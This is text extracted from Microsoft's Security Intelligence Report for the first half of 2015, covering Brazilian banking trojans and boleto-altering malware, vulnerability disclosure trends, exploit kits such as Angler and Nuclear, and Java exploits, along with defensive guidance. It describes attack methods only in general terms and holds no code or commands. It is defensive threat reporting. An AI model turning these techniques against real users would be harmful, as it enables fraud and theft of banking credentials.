0.0 0.5 1.0 1.5 2.0 2.5 1Q14 2Q14 3Q14 4Q14 1Q15 2Q15 E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) Worldwide Brazil Many Banload variants attempt to disable security products installed on the computer.
24 WIN32/BANLOAD AND BANKING MALWARE Many Banload variants attempt to disable security products installed on the computer, including G-Buster Browser Defense, a browser add-on that many large Brazilian banks provide to their customers to protect banking sessions from malware.
Some variants modify the registry so that Banload will automatically launch each time the computer is started.
Win32/Banker and credential stealers The malware threats downloaded by Banload variants are often detected as Win32/Banker and Win32/Bancos.
Banker and Bancos are generic detections for data-stealing trojans that capture online banking credentials, such as account names and passwords, and relay the captured information to a remote attacker.
As with Banload, these threats are created by many different people who often have no connection to each other apart from their common purpose of stealing banking credentials.
Banker and Bancos variants typically monitor browser activity for banking sessions involving large and well-known Brazilian banks, including: Banco Bradesco (bradesco.com.br) Banco do Brasil (bb.com.br) Banco do Estado do Rio Grande do Sul (banrisul.com.br) Banco Ita (itau.com.br) Banco Safra (safra.com.br) Banco Santander (santander.com.br) Caixa Econmica Federal (caixa.gov.br) Citibank (citibank.com.br) HSBC (hsbc.com.br) As with Banload, many Banker and Bancos variants attempt to disable security products installed on the computer, including G-Buster Browser Defense, and modify the registry so the malware will automatically launch each time the computer is started.
Win32/BrobanDel and boleto malware Another type of banking malware that has affected Brazil recently targets boletos bancrios, a popular payment method there.
A boleto bancrio, usually simply called a boleto, is a payment order generated by a merchant or other http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Banker http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Bancos MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   25 payee, similar to an invoice.
Boletos are popular in Brazil because they provide a mechanism for people to pay bills or other debts without having a bank account they can be paid in cash at a wide range of locations, including banks, post offices, and supermarkets.
In recent years, online boletos have become popular: payers receive them over the Internet and can either pay them electronically from a bank account or can print them out for payment like conventional paper boletos.
It is these online boletos that have been targeted by a new type of banking malware.
Figure 19.
An example of a boleto bancrio, a popular method of payment in Brazil Every boleto has a unique identification number that specifies the bank, payee, and amount to be paid, among other information.
The identification number is printed at the top of the boleto and encoded as a barcode at the bottom.
A typical boleto malware variant (often detected as Win32/BrobanDel) installs itself as a browser add-on and monitors webpages for patterns that match a boleto.
When it identifies a boleto, it alters the identification number so that when the recipient pays it, the money will be paid into an account controlled by the attacker, rather than the payees account.
The malware may re-encode the barcode to match the altered number, or simply corrupt it so that it cannot be optically scanned, requiring the cashier to enter the identification number by hand.
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/BrobanDel 26 WIN32/BANLOAD AND BANKING MALWARE Figure 20.
A malicious extension installed by Win32/BrobanDel to detect and alter boletos New variants of Banload and the other families discussed in this section are discovered every day, and variants discovered in the future may exhibit different behaviors than those described here.
Visit the Microsoft Malware Protection Center encyclopedia at https://www.microsoft.com/mmpc for the latest information about this and other threats.
Guidance Effectively protecting users from malware requires an active effort on the part of organizations and individuals.
For in-depth guidance, see Top security solutions at the Microsoft Malware Protection Center website at www.microsoft.com/mmpc.
Specific steps that IT administrators and individual users can take to protect themselves from malware include the following: Install security updates for all software as soon as is practical.
Promptly installing security updates remains one of the best ways to defend against newly discovered threats.
Configure computers to use Microsoft Update rather than Windows Update to automatically receive updates for a wide range of Microsoft products.
Ensure that security updates from other software vendors are distributed automatically when possible.
https://www.microsoft.com/mmpc http://www.microsoft.com/security/pc-security/solutions.aspx http://www.microsoft.com/security/pc-security/solutions.aspx MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   27 Install a comprehensive, real-time antimalware product from a reputable vendor on all of your organizations computers, and ensure that they receive frequent, regular definition or signature file updates.
Take advantage of advanced Windows security features such as User Account Control and AppLocker to prevent unauthorized programs from running without permission.
Use caution when clicking links to webpages and when opening attachments to email messages.
Use a web browser such as Internet Explorer or Microsoft Edge that offers advanced protection against phishing and malicious webpages.
Worldwide threat assessment Vulnerabilities ............................................................................. 31 Exploits ......................................................................................... 40 Malware and unwanted software ........................................ 58 Malicious websites ................................................................... 99 30 WIN32/BANLOAD AND BANKING MALWARE MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   31 Vulnerabilities Vulnerabilities, in the context of computer security, are weaknesses in software that could allow an attacker to compromise the integrity, availability, or confidentiality of the software.
Some of the worst vulnerabilities allow attackers to exploit the compromised system by causing it to run malicious code without the users knowledge.
Industry-wide vulnerability disclosures A disclosure, as the term is used in the Microsoft Security Intelligence Report, is the revelation of a software vulnerability to the public at large.
Disclosures can come from a variety of sources, including publishers of the affected software, security software vendors, independent security researchers, and even malware creators.
The information in this section is compiled from vulnerability disclosure data that is published in the National Vulnerability Database (NVD), the US governments repository of standards-based vulnerability management data at nvd.nist.gov.
The NVD represents all disclosures that have a published CVE (Common Vulnerabilities and Exposures) identifier.9 Figure 21 illustrates the number of vulnerability disclosures across the software industry for each half-year period since 2H12.
(
See About this report on page v for an explanation of the reporting period nomenclature used in this report.)
9 CVE entries are subject to ongoing revision as software vendors and security researchers publish more information about vulnerabilities.
For this reason, the statistics presented here may differ slightly from comparable statistics published in previous volumes of the Microsoft Security Intelligence Report.
http://nvd.nist.gov/ 32 VULNERABILITIES Figure 21.
Industrywide vulnerability disclosures, 2H121H15 After increasing significantly in 2H14, vulnerability disclosures across the industry decreased 34.7 percent in 1H15 to just under 3,000, very close to the level seen a year previously in 1H14.
The large increase in disclosures in 2H14 was predominantly the result of work performed by the Computer Emergency Response Team (CERT) Coordination Center (CERT/CC) in September and October 2014 to scan Android applications in the Google Play Store for man-in-the-middle vulnerabilities using an automated tool.10 CERT/CC determined that thousands of Android apps fail to properly validate SSL certificates provided by HTTPS connections, which could allow an attacker on the same network as an Android device to perform a man-in-the-middle attack on the device.11 This project resulted in the creation of almost 1400 individual CVEs affecting thousands of different publishers of Android apps and code libraries.
With no comparable research projects having been undertaken in 1H15, the total number of disclosures returned to a more typical level, as expected.
10 Will Dormann, Finding Android SSL Vulnerabilities with CERT Tapioca, Cert/CC Blog, September 3, 2014, www.cert.org/blogs/certcc/post.cfm?EntryID204.
11 CERT Coordination Center, Vulnerability Note VU582497: Multiple Android applications fail to properly validate SSL certificates, Vulnerability Notes Database, www.kb.cert.org/vuls/id/582497.
0 500 1,000 1,500 2,000 2,500 3,000 3,500 4,000 4,500 5,000 2H12 1H13 2H13 1H14 2H14 1H15 In d u st ry w id e v u ln e ra b ili ty d is cl o su re s http://www.cert.org/blogs/certcc/post.cfm?EntryID204 http://www.kb.cert.org/vuls/id/582497 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   33 Vulnerability severity The Common Vulnerability Scoring System (CVSS) is a standardized, platform- independent scoring system for rating IT vulnerabilities.
The CVSS base metric assigns a numeric value between 0 and 10 to vulnerabilities according to severity, with higher scores representing greater severity.
(
See A Complete Guide to the Common Vulnerability Scoring System Version 2.0 at first.org for more information.)
Figure 22.
Industrywide vulnerability disclosures by severity, 2H121H15 Disclosures of medium-severity vulnerabilitiesthose with CVSS scores from 4 to 7.9dropped by nearly half from 2H14, but remained the most common type of vulnerability in 1H15.
A research project in 2H14 uncovered SSL vulnerabilities in a large number of Android apps in the Google Play store, explaining the rise and subsequent fall of medium-severity vulnerabilities.
(
See page 32 for more information about this project.)
By contrast, the number of disclosures of high-severity and low-severity vulnerabilities remained mostly stable, with both categories increasing by less than 2 percent from 1H14 to 2H14.
High-severity vulnerabilities accounted for the second-highest share of vulnerability disclosures in 1H15, at 32.5 percent, and low-severity vulnerabilities accounted for the smallest share, at 10.4 percent.
0 500 1,000 1,500 2,000 2,500 3,000 3,500 2H12 1H13 2H13 1H14 2H14 1H15 In d u st ry w id e v u ln e ra b ili ty d is cl o su re s Medium (46.9) Low (03.9) High (710) https://www.first.org/cvss/cvss-v2-guide.pdf https://www.first.org/cvss/cvss-v2-guide.pdf 34 VULNERABILITIES As shown in Figure 23, the highest-severity vulnerabilitiesthose scoring 9.9 or higher on the CVSS scaleaccounted for 7.6 percent of all vulnerabilities in 1H15.
Figure 23.
Industrywide vulnerability disclosures in 1H15, by severity Vulnerability complexity Some vulnerabilities are easier to exploit than others, and vulnerability complexity is an important factor to consider in determining the magnitude of the threat that a vulnerability poses.
A high-severity vulnerability that can only be exploited under very specific and rare circumstances might require less immediate attention than a lower-severity vulnerability that can be exploited more easily.
The CVSS assigns each vulnerability a complexity ranking of Low, Medium, or High.
(
See A Complete Guide to the Common Vulnerability Scoring System Version 2.0 at first.org for more information about the CVSS complexity ranking system.)
Figure 24 shows complexity trends for vulnerabilities disclosed since 2H12.
Note that Low complexity in Figure 24 indicates greater risk, just as High severity indicates greater risk in Figure 22.
Low (03.9) 10.4 Medium (46.9) 57.1 High (79.8) 24.9 High (9.9 ) 7.6 https://www.first.org/cvss/cvss-v2-guide.pdf https://www.first.org/cvss/cvss-v2-guide.pdf MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   35 Figure 24.
Industrywide vulnerability disclosures by access complexity, 2H121H15 Disclosures of low-complexity vulnerabilitiesthose that are the easiest to exploitdecreased slightly in 1H15, but accounted for the largest category of disclosures, at 56.3 percent of all disclosures.
Medium-complexity vulnerabilities decreased 54.9 percent from 2H14 to 1H15 to account for 42.4 percent of all vulnerabilities for the period.
A research project in 2H14 uncovered SSL vulnerabilities in a large number of Android apps in the Google Play Store, explaining the increase and subsequent decrease of medium- complexity vulnerabilities.
(
See page 32 for more information about this project.)
Disclosures of high-complexity vulnerabilities decreased slightly in 1H15, and accounted for 1.0 percent of all disclosures for the period.
Operating system, browser, and application vulnerabilities Comparing vulnerabilities that affect a computers operating system to vulnerabilities that affect other components, such as applications and utilities, requires a determination of whether the affected component is considered part of the operating system.
This determination is not always simple and straightforward, given the componentized nature of modern operating systems.
0 500 1,000 1,500 2,000 2,500 3,000 2H12 1H13 2H13 1H14 2H14 1H15 In d u st ry w id e v u ln e ra b ili ty d is cl o su re s Medium complexity (medium risk) High complexity (lowest risk) Low complexity (highest risk) A research project in 2H14 uncovered SSL vulnerabilities in a large number of Android apps.
36 VULNERABILITIES Some programs (media players, for example) ship by default with some operating system software but can also be downloaded from the software vendors website and installed individually.
Linux distributions, in particular, are often assembled from components developed by different teams, many of which provide crucial operating functions such as a graphical user interface (GUI) or Internet browsing.
To facilitate analysis of operating system and browser vulnerabilities, the Microsoft Security Intelligence Report distinguishes among four different kinds of vulnerabilities: Core operating system vulnerabilities are those with at least one operating system platform enumeration (/o) in the NVD that do not also have any application platform enumerations (/a).12 Operating system application vulnerabilities are those with at least one /o platform enumeration and at least one /a platform enumeration listed in the NVD, except as described in the next bullet point.
Browser vulnerabilities are those that affect components defined as part of a web browser, including web browsers such as Internet Explorer and Apples Safari that ship with operating systems, along with third-party browsers such as Mozilla Firefox and Google Chrome.
Other application vulnerabilities are those with at least one /a platform enumeration in the NVD that do not have any /o platform enumerations, except as described in the previous bullet point.
Figure 25 shows industrywide vulnerabilities for operating systems, browsers, and applications since 2H12.
12 See nvd.nist.gov/cpe.cfm for information about the Common Platform Enumeration (CPE) standard for naming information technology systems, software, and packages.
http://nvd.nist.gov/cpe.cfm MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   37 Figure 25.
Industrywide operating system, browser, and application vulnerabilities, 2H121H15 Disclosures of vulnerabilities in applications other than web browsers and operating system applications decreased by nearly half from 2H14 to 1H15, but remained the most common type of vulnerability in 1H15, accounting for 55.6 percent of all disclosures for the period.
A research project in 2H14 uncovered SSL vulnerabilities in a large number of Android apps in the Google Play Store, explaining the increase and subsequent decrease of application vulnerabilities.
(
See page 32 for more information about this project.)
Operating system application vulnerability disclosures decreased 1.5 percent from 2H14, and accounted for 19.7 percent of all disclosures in 1H15.
Core operating system vulnerability disclosures increased 1.7 percent from 2H14, and accounted for 14.1 percent of all disclosures in 1H15.
Browser vulnerability disclosures increased 13.2 percent from 2H14, and accounted for 10.6 percent of all disclosures in 1H15.
Microsoft vulnerability disclosures Figure 26 shows trends for vulnerability disclosures affecting Microsoft products compared to the rest of the industry.
0 500 1,000 1,500 2,000 2,500 3,000 3,500 2H12 1H13 2H13 1H14 2H14 1H15 In d u st ry w id e v u ln e ra b ili ty d is cl o su re s Core operating system Web browsers Operating system applications Other applications 38 VULNERABILITIES Figure 26.
Vulnerability disclosures for Microsoft and non-Microsoft products, 2H121H15 Microsoft vulnerability disclosures increased from 209 disclosures in 2H14 to 266 in 1H15, an increase of 27.3 percent.
Guidance: Developing secure software The Security Development Lifecycle (SDL) (www.microsoft.com/sdl) is a free software development methodology that incorporates security and privacy best practices throughout all phases of the development process, with the goal of protecting software users.
Using such a methodology can help reduce the number and severity of vulnerabilities in software and help manage vulnerabilities that might be discovered after deployment.
Life in the Digital Crosshairs, at sdlstory.com, is a multimedia presentation that explores the genesis and development of the SDL from its origins in the Windows teams well-documented all-hands security push in the early 2000s.
It includes interviews with several of the pivotal figures in the history of the SDL and Microsofts focus on secure software.
Security professionals and anyone else with an interest in secure development are likely to find the site invaluable for putting the SDL into historical context and understanding what the future holds.
To learn more about how the SDL is applied in the present day, see State of Application Security: Immature Practices Fuel Inefficiencies, but Positive ROI Is Attainable - A Forrester Consulting Thought Leadership Paper Commissioned 0 500 1,000 1,500 2,000 2,500 3,000 3,500 4,000 4,500 5,000 2H12 1H13 2H13 1H14 2H14 1H15 In d u st ry w id e v u ln e ra b ili ty d is cl o su re s Non-Microsoft Microsoft http://www.microsoft.com/sdl http://sdlstory.com/ http://go.microsoft.com/?linkid9758989 http://go.microsoft.com/?linkid9758989 http://go.microsoft.com/?linkid9758989 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   39 by Microsoft to learn how organizations are putting SDL techniques to work for them, and Secure Software Development Trends in the Oil  Gas Sectors for an example of how the SDL has helped one critical industry.
Both papers are available from the Microsoft Download Center (www.microsoft.com/download).
http://go.microsoft.com/?linkid9758989 http://aka.ms/A6offt http://www.microsoft.com/download 40 EXPLOITS Exploits An exploit is a piece of code that uses software vulnerabilities to access information on a computer or install malware.
Exploits target vulnerabilities in operating systems, web browsers, applications, or software components that are installed on a computer.
In some scenarios, targeted components are add-ons that may be pre-installed by the computer manufacturer before the computer is sold.
A user may not even use the vulnerable add-on or be aware that it is installed.
In addition, some software has no facility for updating itself, so even if the software vendor publishes an update that fixes the vulnerability, the user may not know that the update is available or how to obtain it and therefore remains vulnerable to attack.13 Software vulnerabilities are enumerated and documented in the Common Vulnerabilities and Exposures (CVE) list (cve.mitre.org), a standardized repository of vulnerability information.
Here and throughout this report, exploits are labeled with the CVE identifier that pertains to the affected vulnerability, if applicable.
In addition, exploits that affect vulnerabilities in Microsoft software are labeled with the Microsoft Security Bulletin number that pertains to the vulnerability, if applicable.14 Microsoft real-time security products can detect and block attempts to exploit known vulnerabilities whether the computer is affected by the vulnerabilities or not.
For example, the CVE-2010-2568 CplLnk vulnerability has never affected Windows 8, but if a Windows 8 user receives a malicious file that attempts to exploit that vulnerability, Windows Defender is designed to detect and block it anyway.
Encounter data provides important information about which products and vulnerabilities are being targeted by 13 See the Microsoft Security Update Guide, Second Edition at the Microsoft Download Center (www.microsoft.com/download) for guidance to help protect your IT infrastructure while creating a safer, more secure computing and Internet environment.
14 See technet.microsoft.com/security/bulletin to search and read Microsoft Security Bulletins.
Encounter rate is the percentage of computers running Microsoft real-time security products that report a mal- ware encounter.
http://cve.mitre.org/ http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-2568 http://www.microsoft.com/en-us/download/details.aspx?id559 http://technet.microsoft.com/security/bulletin MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   41 attackers, and by what means.
However, the statistics presented in this report should not be interpreted as evidence of successful exploit attempts, or of the relative vulnerability of computers to different exploits.
Figure 27 shows the prevalence of different types of exploits detected by Microsoft antimalware products from 3Q14 to 2Q15, by encounter rate.
Encounter rate is the percentage of computers running Microsoft real-time security products that report a malware encounter.
For example, the encounter rate for Java exploit attempts in 2Q15 was 0.35 percent, meaning that 0.35 percent of computers running Microsoft real-time security software in 2Q15 encountered Java exploit attempts, and 99.65 percent did not.
In other words, a computer selected at random would have had about a 0.35 percent chance of encountering a Java exploit attempt in 2Q15.
Only computers whose users have opted in to provide data to Microsoft are considered when calculating encounter rates.15 See page 58 for more information about the encounter rate metric.
Figure 27.
Encounter rates for different types of exploit attempts, 3Q142Q15 Figures for exploit kits, Java, and Adobe Flash Player exploits are affected by IExtensionValidation in Internet Explorer, which blocks many threats before they are encountered.
See page 55 for more information.
15 For information about the products and services that provide data for this report, see Appendix B: Data sources on page 129.
0.0 0.5 1.0 1.5 2.0 3Q14 4Q14 1Q15 2Q15 E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) Exploit kits Operating system Java Documents Browser Adobe Flash Player Other HTML/JavaScript 42 EXPLOITS Computers that report more than one type of exploit are counted for each type detected.
Encounters with exploit kits decreased by more than a third between 4Q14 and 2Q15, but remained the most commonly encountered type of exploit in the second half of the year, with an encounter rate more than three times as high as the next most common type of exploit.
See Exploit kits on page 44 for more information about these exploits.
The number of encounters with exploits that target operating systems remained mostly stable in 1H15, becoming the second most commonly encountered type of exploits during the period.
See Operating system exploits on page 49 for more information.
Encounters with Java exploits decreased each quarter, becoming the third most commonly encountered type of exploit in 1H15.
See Java exploits on page 47 for more information.
The Other category increased from very low levels in 1Q15 and previous periods to become the third most commonly encountered exploit category in 2Q15, mostly because of encounters involving Win32/Sdbby.
Sdbby is a generic detection for malware that bypasses the User Account Control (UAC) prompt to gain administrative privileges on a computer.
It was encountered at very low volumes in 1Q15, then became the fourth most commonly encountered exploit family in 2Q15.
The number of encounters involving other types of exploits remained mostly stable during the second half of the year, and each accounted for a small percentage of total exploits.
Exploit families Figure 28 lists the exploit-related malware families that were detected most often during the first half of 2015.
Encounters with exploit kits decreased by more than a third, but remained the most commonly encountered type of exploit in 2H15.
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Sdbby MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   43 Figure 28.
Quarterly encounter rate trends for the exploit families most commonly detected and blocked by Microsoft real-time antimalware products in 1H15, shaded according to relative prevalence Exploit Type 3Q14 4Q14 1Q15 2Q15 JS/Axpergle Exploit kit 0.87 0.86 0.85 0.64 CVE-2010-2568 (CplLnk) Operating system 0.35 0.35 0.30 0.23 JS/Fiexp Exploit kit 0.31 0.30 0.21 0.05 Win32/Anogre Exploit kit 0.60 0.42 0.22 0.04 JS/Neclu Exploit kit 0.11 0.06 0.03 0.14 HTML/IframeRef Generic 0.10 0.09 0.07 0.05 HTML/Meadgive Exploit kit 0.15 0.08 0.06 0.05 JS/NeutrinoEK Exploit kit 0.00 0.01 0.07 0.04 Win32/Sdbby Other   0.00 0.09 CVE-2014-6332 Operating system  0.03 0.04 0.05 Totals for individual vulnerabilities do not include exploits that were detected as part of exploit kits.
Exploit kits accounted for six of the 10 most commonly encountered exploits during 1H15.
See Exploit kits on page 44 for more information about exploit kits.
Exploits targeting the Java Runtime Environment (JRE) have gone from seven of the top 10 individual exploits detected in 2H13 to none in 1H15.
A number of changes that were made to Java and Internet Explorer over the past two years have made it much more difficult for attackers to take advantage of Java-based vulnerabilities, which is the most likely explanation for this significant decrease.
(
See Java exploits on page 47 for more information.)
CVE-2010-2568, the most commonly targeted individual vulnerability in 1H15, is a vulnerability in Windows Shell.
Detections are often identified as variants in the Win32/CplLnk family, although several other malware families attempt to exploit the vulnerability as well.
An attacker exploits CVE-2010- 2568 by creating a malformed shortcut filetypically distributed through social engineering or other methodsthat forces a vulnerable computer to load a malicious file when the shortcut icon is displayed in Windows Explorer.
The vulnerability was first discovered being used by the malware family Win32/Stuxnet in mid-2010, and it has since been exploited by a number of other families, many of which predated the disclosure of the vulnerability and were subsequently adapted to attempt to exploit it.
Microsoft published Security Bulletin MS10-046 in August 2010 to address http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-2568 http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/CplLnk http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Stuxnet http://technet.microsoft.com/security/bulletin/MS10-046 44 EXPLOITS the issue, and Windows 8 and Windows 8.1 have never been vulnerable to exploits of CVE-2010-2568.
HTML/IframeRef is a generic detection for specially formed HTML inline frame (IFrame) tags that redirect to remote websites that contain malicious content.
More properly considered exploit downloaders than true exploits, these malicious pages use a variety of techniques to exploit vulnerabilities in browsers and plug-ins.
The only commonality is that the attacker uses an inline frame to deliver the exploits to users.
The exact exploit delivered and detected by one of these inline frames might be changed frequently.
CVE-2014-6332 is a vulnerability in Windows Object Linking and Embedding (OLE) that can be used to launch remote attacks on a computer through Internet Explorer in some circumstances.
Microsoft released Security Bulletin MS14-064 in November 2014 to address this issue.
See The life and times of an exploit on pages 310 of Microsoft Security Intelligence Report, Volume 18 (JulyDecember 2014), available from the Microsoft Download Center, for more information about this vulnerability and what Microsoft has done to mitigate it.
Exploit kits Exploit kits are collections of exploits bundled together and sold as commercial software or as a service.
Prospective attackers buy or rent exploit kits on malicious hacker forums and through other illegitimate outlets.
A typical kit comprises a collection of webpages that contain exploits for several vulnerabilities in popular web browsers and browser add-ons.
When the attacker installs the kit on a malicious or compromised web server, visitors who dont have the appropriate security updates installed are at risk of having their computers compromised through drive-by download attacks.
(
See page 105 for more information about drive-by downloads.)
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryHTML/IframeRef http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2014-6332 http://technet.microsoft.com/security/bulletin/MS14-064 http://www.microsoft.com/download/details.aspx?id46928 http://www.microsoft.com/download/details.aspx?id46928 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   45 Figure 29.
How a typical exploit kit works Microsoft security products detect and block the characteristic techniques that a number of common exploit kits use to infect computers, along with several generic HTML and JavaScript exploit techniques.
Figure 30 shows the prevalence of several top web-based exploit kits and techniques during each of the four most recent quarters.
46 EXPLOITS Figure 30.
Trends for the top exploit kit-related threats detected and blocked by Microsoft real-time antimalware products in 1H15 JS/Axpergle, a detection for the so-called Angler exploit kit, was the most commonly encountered exploit kit family in 1H15.
The Angler kit first appeared in 3Q14 and rapidly increased in prominence during the second quarter.
It is known to target a number of vulnerabilities in Silverlight (CVE- 2013-0074), Internet Explorer (CVE-2013-2551), Adobe Flash Player (CVE-2014-8439, CVE-2015-0311, and CVE-2015-0313, among others), and Java (CVE-2013-2460), although exploit kit authors frequently change the exploits included in their kits in an effort to stay ahead of software publishers and security software vendors.
After decreasing to low levels in 2H14, detections of the Nuclear exploit kit (detected as JS/Neclu) reversed course and began trending upward in 2015, making it the second most commonly encountered exploit kit in 2Q15.
Encounters involving the Sweet Orange and Fiesta exploit kits (detected as Win32/Anogre and JS/Fiexp, respectively), the second and third most commonly encountered exploit kits in 2H14, decreased to much lower levels in 1H15.
Exploit kit authors update the exploits they use frequently, adding exploits for newly discovered vulnerabilities while dropping poorly performing ones.
Figure 0.0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0 3Q14 4Q14 1Q15 2Q15 E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) JS/Axpergle (Angler) JS/Neclu (Nuclear) JS/Fiexp (Fiesta) HTML/Meadgive (Redkit) Win32/Anogre (Sweet Orange) Exploit kit authors update the exploits they use fre- quently, adding exploits for newly discovered vulnerabilities while dropping poorly performing ones.
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Axpergle http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2013-0074 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2013-0074 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2013-2551 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2014-8439 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-0311 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-0313 http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2013-2460 http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Neclu http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Anogre http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Fiexp MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   47 31 lists some of the exploits that researchers have observed being added to a number of prominent exploit kits in 1H15.
Figure 31.
Newly discovered exploits observed being used by exploit kits in 1H15 Vulnerability Exploit type Addressed by Exploit kit(s) CVE-2015-0310 Adobe Flash Player APSB15-02 Angler (JS/Axpergle) CVE-2015-0311 Adobe Flash Player APSB15-03 Angler CVE-2015-0313 Adobe Flash Player APSB15-04 Angler CVE-2015-0336 Adobe Flash Player APSB15-05 Nuclear (JS/Neclu) Angler CVE-2015-0359 Adobe Flash Player APSB15-06 Angler CVE-2015-3090 Adobe Flash Player APSB15-09 Angler CVE-2015-3104 Adobe Flash Player APSB15-11 Angler CVE-2015-3105 Adobe Flash Player APSB15-11 Magnitude (HTML/Pangimop) CVE-2015-3113 Adobe Flash Player APSB15-14 Magnitude Java exploits Figure 32 shows the prevalence of different Java exploits by quarter.
Figure 32.
Trends for the top Java exploits detected and blocked by Microsoft real-time antimalware products in 1H15 0.00 0.02 0.04 0.06 0.08 0.10 0.12 3Q14 4Q14 1Q15 2Q15 E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) CVE-2012-1723 Obfuscator CVE-2013-0422 CVE-2012-0507 CVE-2010-0840 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-0310 https://helpx.adobe.com/security/products/flash-player/apsb15-02.html http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Axpergle https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-0311 https://helpx.adobe.com/security/products/flash-player/apsb15-03.html https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-0313 https://helpx.adobe.com/security/products/flash-player/apsb15-04.html https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-0336 https://helpx.adobe.com/security/products/flash-player/apsb15-05.html http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryJS/Neclu https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-0359 https://helpx.adobe.com/security/products/flash-player/apsb15-06.html https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-3090 https://helpx.adobe.com/security/products/flash-player/apsb15-09.html https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-3104 https://helpx.adobe.com/security/products/flash-player/apsb15-11.html https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-3105 https://helpx.adobe.com/security/products/flash-player/apsb15-11.html http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryHTML/Pangimop https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-3113 https://helpx.adobe.com/security/products/flash-player/apsb15-14.html 48 EXPLOITS Overall, encounters with Java exploits continued to decrease significantly in 1H15.
This decrease is likely caused by several important changes in the way web browsers evaluate and execute Java applets: The IExtensionValidation interface in Internet Explorer 11, released in late 2013, provides a mechanism for security software to validate that a webpage is safe before allowing instantiation of ActiveX controls, such as the control that hosts embedded Java applets.
If a webpage is determined to be malicious, the ActiveX controls are blocked from loading, and the actual Java exploit itself is therefore never encountered.
(
See Exploit detection with Internet Explorer and IExtensionValidation on page 55 for more information.)
Subsequent Internet Explorer security updates released in 2014 added an isolated heap mechanism and a deferred-free method to mitigate use-after-free bugs, which further hardened Internet Explorer against Java exploitation.
Beginning with Java 7 update 51, released in January 2014, the Java Runtime Environment (JRE) requires Java applets running in web browsers to be digitally signed by default.
In September 2014, Microsoft published updates for versions 8 through 11 of Internet Explorer to begin blocking out-of-date ActiveX controls, including controls that host older versions of the JRE in the browser.
As explained in this section, the most commonly encountered Java exploits all target vulnerabilities that were addressed with security updates years ago, but remain present in out-of-date Java installations.
When a webpage attempts to load one of the vulnerable versions of Java in Internet Explorer with the update applied, the control is blocked by default and the user is urged to update Java to a more secure version.
Figure 33.
Internet Explorer blocks out-of-date ActiveX controls from running CVE-2012-1723, the most commonly encountered individual Java exploit in 2Q15 and the second most common in 1Q15, is a type-confusion vulnerability in the Java Runtime Environment (JRE) that is exploited by tricking the JRE into treating one type of variable like another type.
Oracle confirmed the existence of the vulnerability in June 2012, and addressed it IExtensionValidation in Internet Explorer 11 provides a mechanism for se- curity software to validate that a webpage is safe before allowing instantiation of ActiveX controls.
http://blogs.msdn.com/b/ie/archive/2014/08/06/internet-explorer-begins-blocking-out-of-date-activex-controls.aspx http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-1723 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   49 the same month with its June 2012 Critical Patch Update.
The vulnerability was observed being exploited in the wild beginning in early July 2012, and has been used in a number of exploit kits.
For more information about this exploit, see the entry The rise of a new Java vulnerability - CVE-2012-1723 (August 1, 2012) in the Microsoft Malware Protection Center (MMPC) blog at blogs.technet.com/mmpc.
Obfuscator is a generic detection for programs that have been modified by malware obfuscation, often in an attempt to avoid detection by security software.
Files identified as Java/Obfuscator can represent exploits that target many different Java vulnerabilities.
